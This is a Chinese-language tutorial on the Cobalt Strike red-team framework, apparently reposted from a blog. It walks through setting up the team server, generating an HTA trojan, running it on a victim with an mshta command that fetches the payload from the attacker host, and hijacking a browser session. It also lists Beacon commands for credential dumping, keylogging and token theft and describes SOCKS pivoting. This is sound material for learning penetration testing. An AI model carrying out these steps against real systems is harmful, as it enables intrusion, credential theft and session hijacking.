Cobalt Strike使用教程一
0x00 簡介
Cobalt Strike是一款基於java的滲透測試神器,常被業界人稱為CS神器。自3.0以后已經不在使用Metasploit框架而作為一個獨立的平台使用,分為客戶端與服務端,服務端是一個,客戶端可以有多個,非常適合團隊協同作戰,多個攻擊者可以同時連接到一個團隊服務器上,共享攻擊資源與目標信息和sessions,可模擬APT做模擬對抗,進行內網滲透。
Cobalt Strike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。
0x01 目錄結構
一般Cobalt Strike目錄結構如下:
agscript 拓展應用的腳本
c2lint 用於檢查profile的錯誤異常
teamserver 服務端程序
cobaltstrike,cobaltstrike.jar客戶端程序(java跨平台)
license.pdf 許可證文件
logs 目錄記錄與目標主機的相關信息
update,update.jar用於更新CS
third-party 第三方工具1234567
0x02 安裝運行
團隊服務器
團隊服務器最好運行在Linux平台上,服務端的關鍵文件是teamserver和cobaltstrike.jar,將這兩個文件放在同一目錄下運行:
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需參數 團隊服務器IP
<password> 必需參數 連接服務器的密碼
[/path/to/c2.profile] 可選參數 指定C2通信配置文件,體現其強大的擴展性
[YYYY-MM-DD] 可選參數 所有payload的終止時間
# 啟動Team Server
./teamserver 192.168.183.147 123456 # 設置強密碼,否則容易被爆破,參考附錄1234567
PS:團隊服務器默認連接端口為50050,如果你想修改端口只需修改teamserver文件
客戶端
Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:雙擊cobaltstrike.exe
輸入服務端IP,端口默認50050,用戶名任意,密碼為之前設置的密碼,點擊connect。第一次連接會出現hash校驗,這里的hash等於前面的啟動teamserver時的hash,直接點擊‘是’即可連接到團隊服務器上。
0x02 參數詳情
Cobalt Strike
New Connection # 新建連接,支持連接多個服務器端
Preferences # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄
Visualization # 主要展示輸出結果的視圖
VPN Interfaces # 設置VPN接口
Listenrs # 創建監聽器
Script Manager # 腳本管理,可以通過AggressorScripts腳本來加強自身,能夠擴展菜單欄,Beacon命令行,提權腳本等
Close # 退出連接123456
View
Applications # 顯示受害主機的應用信息
Credentials # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads # 查看已下載文件
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 查看鍵盤記錄結果
Proxy Pivots # 查看代理模塊
Screenshots # 查看所有屏幕截圖
Script Console # 加載第三方腳本以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日志123456789
Attacks
Packages
HTML Application # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各種語言版本的payload
USB/CD AutoPlay # 生成利用自動播放運行的木馬文件
Windows Dropper # 捆綁器能夠對任意的正常文件進行捆綁(免殺效果差)
Windows Executable # 生成可執行exe木馬
Windows Executable(Stageless) # 生成無狀態的可執行exe木馬123456
Web Drive-by
Manage # 對開啟的web服務進行管理
Clone Site # 克隆網站,可以記錄受害者提交的數據
Host File # 提供文件下載,可以選擇Mime類型
Scripted Web Delivery # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery
Signed Applet Attack # 使用java自簽名的程序進行釣魚攻擊(該方法已過時)
Smart Applet Attack # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時)
System Profiler # 用來獲取系統信息,如系統版本,Flash版本,瀏覽器版本等
Spear Phish # 魚叉釣魚郵件1234567
Reporting
Activity Report # 活動報告
Hosts Report # 主機報告
Indicators of Compromise # IOC報告:包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes
Sessions Report # 會話報告
Social Engineering Report # 社會工程報告:包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures # 戰術技術及相關程序報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data # 重置數據
Export Data # 導出數據,導出.tsv文件格式1234567
Help
Homepage # 官方主頁
Support # 技術支持
Arsenal # 開發者
System information # 版本信息
About # 關於1234
工具欄
1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於1234567891011121314151617
0x03 基本流程
創建監聽器
點擊Cobalt Strike -> Listeners->Add,其中內置了九個Listener
indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp1234567
其中windows/beacon為內置監聽器,包括dns、http、https、smb四種方式的監聽器;windows/foreign為外部監聽器,配合Metasploit或者Armitage的監聽器。
Name任意,選擇所需的payload,Host為本機IP,port為沒有被占用的任意端口
點擊save即創建成功
生成木馬
這里選擇其中一種攻擊方式作示范,后面再做詳細解釋:
點擊Attacks->Packages->HTML Application,選擇對應的監聽器,方法這里有三種(executable/VBA/powershell),選擇powershell,點擊Generate生成,選擇生成的路徑及文件名保存即可。
開啟web服務
點擊Attacks->Web Drive-by->Host File,選擇剛剛生成的木馬evil.hta,點擊Launch生成下載鏈接
運行木馬
打開受害機cmd,運行mshta命令。mshta.exe是微軟Windows操作系統相關程序,用於執行.HTA文件。
mshta http://192.168.183.147/download/file.ext
返回CS即可看到肉雞上線
選中受害機右擊,選擇interact,即可進行交互,由於受害機默認60秒進行一次回傳,為了實驗效果我們這里把時間設置成5,但實際中頻率不宜過快,容易被發現。
導出報告
點擊Reporting->Activity Report,導出默認PDF文檔
0x04 Beacon
當受害機上線以后,右擊選擇Interact,就可以打開Beacon Console
在beacon處輸入help可以看到命令說明
Beacon Commands
===============
Command Description
------- -----------
argue 進程參數欺騙
blockdlls 在子進程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者瀏覽器進程
bypassuac 繞過UAC
cancel 取消正在進行的下載
cd 切換目錄
checkin 強制讓被控端回連一次
clear 清除beacon內部的任務隊列
connect 通過TCP連接到Beacon
covertvpn 部署Covert VPN客戶端
cp 復制文件
dcsync 從DC中提取密碼哈希
desktop 遠程VNC
dllinject 反射DLL注入進程
dllload 使用LoadLibrary將DLL加載到進程中
download 下載文件
downloads 列出正在進行的文件下載
drives 列出目標盤符
elevate 嘗試提權
execute 在目標上執行程序(無輸出)
execute-assembly 在目標上內存中執行本地.NET程序
exit 退出beacon
getprivs 對當前令牌啟用系統權限
getsystem 嘗試獲取SYSTEM權限
getuid 獲取用戶ID
hashdump 轉儲密碼哈希值
help 幫助
inject 在特定進程中生成會話
jobkill 殺死一個后台任務
jobs 列出后台任務
kerberos_ccache_use 從ccache文件中導入票據應用於此會話
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據應用於此會話
keylogger 鍵盤記錄
kill 結束進程
link 通過命名管道連接到Beacon
logonpasswords 使用mimikatz轉儲憑據和哈希值
ls 列出文件
make_token 創建令牌以傳遞憑據
mimikatz 運行mimikatz
mkdir 創建一個目錄
mode dns 使用DNS A作為通信通道(僅限DNS beacon)
mode dns-txt 使用DNS TXT作為通信通道(僅限D beacon)
mode dns6 使用DNS AAAA作為通信通道(僅限DNS beacon)
mode http 使用HTTP作為通信通道
mv 移動文件
net net命令
note 給當前目標機器備注
portscan 進行端口掃描
powerpick 通過Unmanaged PowerShell執行命令
powershell 通過powershell.exe執行命令
powershell-import 導入powershell腳本
ppid 為生成的post-ex任務設置父PID
ps 顯示進程列表
psexec 使用服務在主機上生成會話
psexec_psh 使用PowerShell在主機上生成會話
psinject 在特定進程中執行PowerShell命令
pth 使用Mimikatz進行傳遞哈希
pwd 當前目錄位置
reg 查詢注冊表
rev2self 恢復原始令牌
rm 刪除文件或文件夾
rportfwd 端口轉發
run 在目標上執行程序(返回輸出)
runas 以另一個用戶權限執行程序
runasadmin 在高權限下執行程序
runu 在另一個PID下執行程序
screenshot 屏幕截圖
setenv 設置環境變量
shell cmd執行命令
shinject 將shellcode注入進程
shspawn 生成進程並將shellcode注入其中
sleep 設置睡眠延遲時間
socks 啟動SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一個會話
spawnas 以其他用戶身份生成會話
spawnto 將可執行程序注入進程
spawnu 在另一個PID下生成會話
ssh 使用ssh連接遠程主機
ssh-key 使用密鑰連接遠程主機
steal_token 從進程中竊取令牌
timestomp 將一個文件時間戳應用到另一個文件
unlink 斷開與Beacon的連接
upload 上傳文件
wdigest 使用mimikatz轉儲明文憑據
winrm 使用WinRM在主機上生成會話
wmi 使用WMI在主機上生成會話1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
可用help+命令的方式查看具體命令參數說明
beacon> help argue
Use: argue [command] [fake arguments]
argue [command]
argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.12345678910
之前說過CS與受害機默認60s進行一次交互,為了方便實驗我們可以把時間設置為0
beacon>sleep 0
下面我就介紹一下幾個常用的命令
browserpivot
Browser Pivot是一個針對IE瀏覽器的技術,利用的是IE的cookie機制,Cobalt Strike通過IE注入進程以繼承用戶的已驗證Web會話,達到無需驗證登錄用戶訪問的網站。
假設受害者在通過IE瀏覽器登錄了網站后台
我們可以通過ps找到瀏覽器進程,然后通過命令進行注入
beacon> browserpivot 2600 x86
這里之所以選擇PID 2600是因為我們需要插入Internet Explorer以繼承用戶的已驗證Web會話。IE的新版本會為每個選項卡生成一個進程,我們必須將其插入子選項卡以繼承會話狀態。通常,子選項卡共享所有會話狀態。通過查看PPID值來標識IE子選項卡進程,當PPID引用explorer.exe時,該進程不是子選項卡;當PPID引用iexplore.exe時,該進程就是子選項卡。
當然這里也可以通過圖形界面注入,右擊選中Explore->Browser Pivot
然后瀏覽器設置代理
然后訪問受害者所訪問的網頁,發現無需登錄直接進入后台
Socks代理
開啟socks4a代理,通過代理進行內網滲透
開啟socks,可以通過命令,也可以通過右鍵Pivoting->SOCKS Server
beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes12
然后vim /etc/proxychains.conf
,在文件末尾添加socks4代理服務器
使用proxychains代理掃描內網主機
proxychains nmap -sP 192.168.183.0/24
我們還可以通過隧道將整個msf帶進目標內網
點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:
setg Proxies socks4:192.168.183.147:2222
打開msf對內網進行掃描
關閉socks
beacon>socks stop
powershell-import
這個功能在后滲透測試中很有用,可以導入各種powershell滲透框架,如Nishang、PowerSploit攻擊框架
在beacon shell輸入powershell-import,導入已有的ps文件
beacon> powershell-import
關於具體有哪些命令可以操作可以查看一下相應ps文件
0x05 附錄
爆破cobalt strike密碼腳本:https://github.com/ryanohoro/csbruter
轉載自https://blog.csdn.net/weixin_44677409/article/details/102725418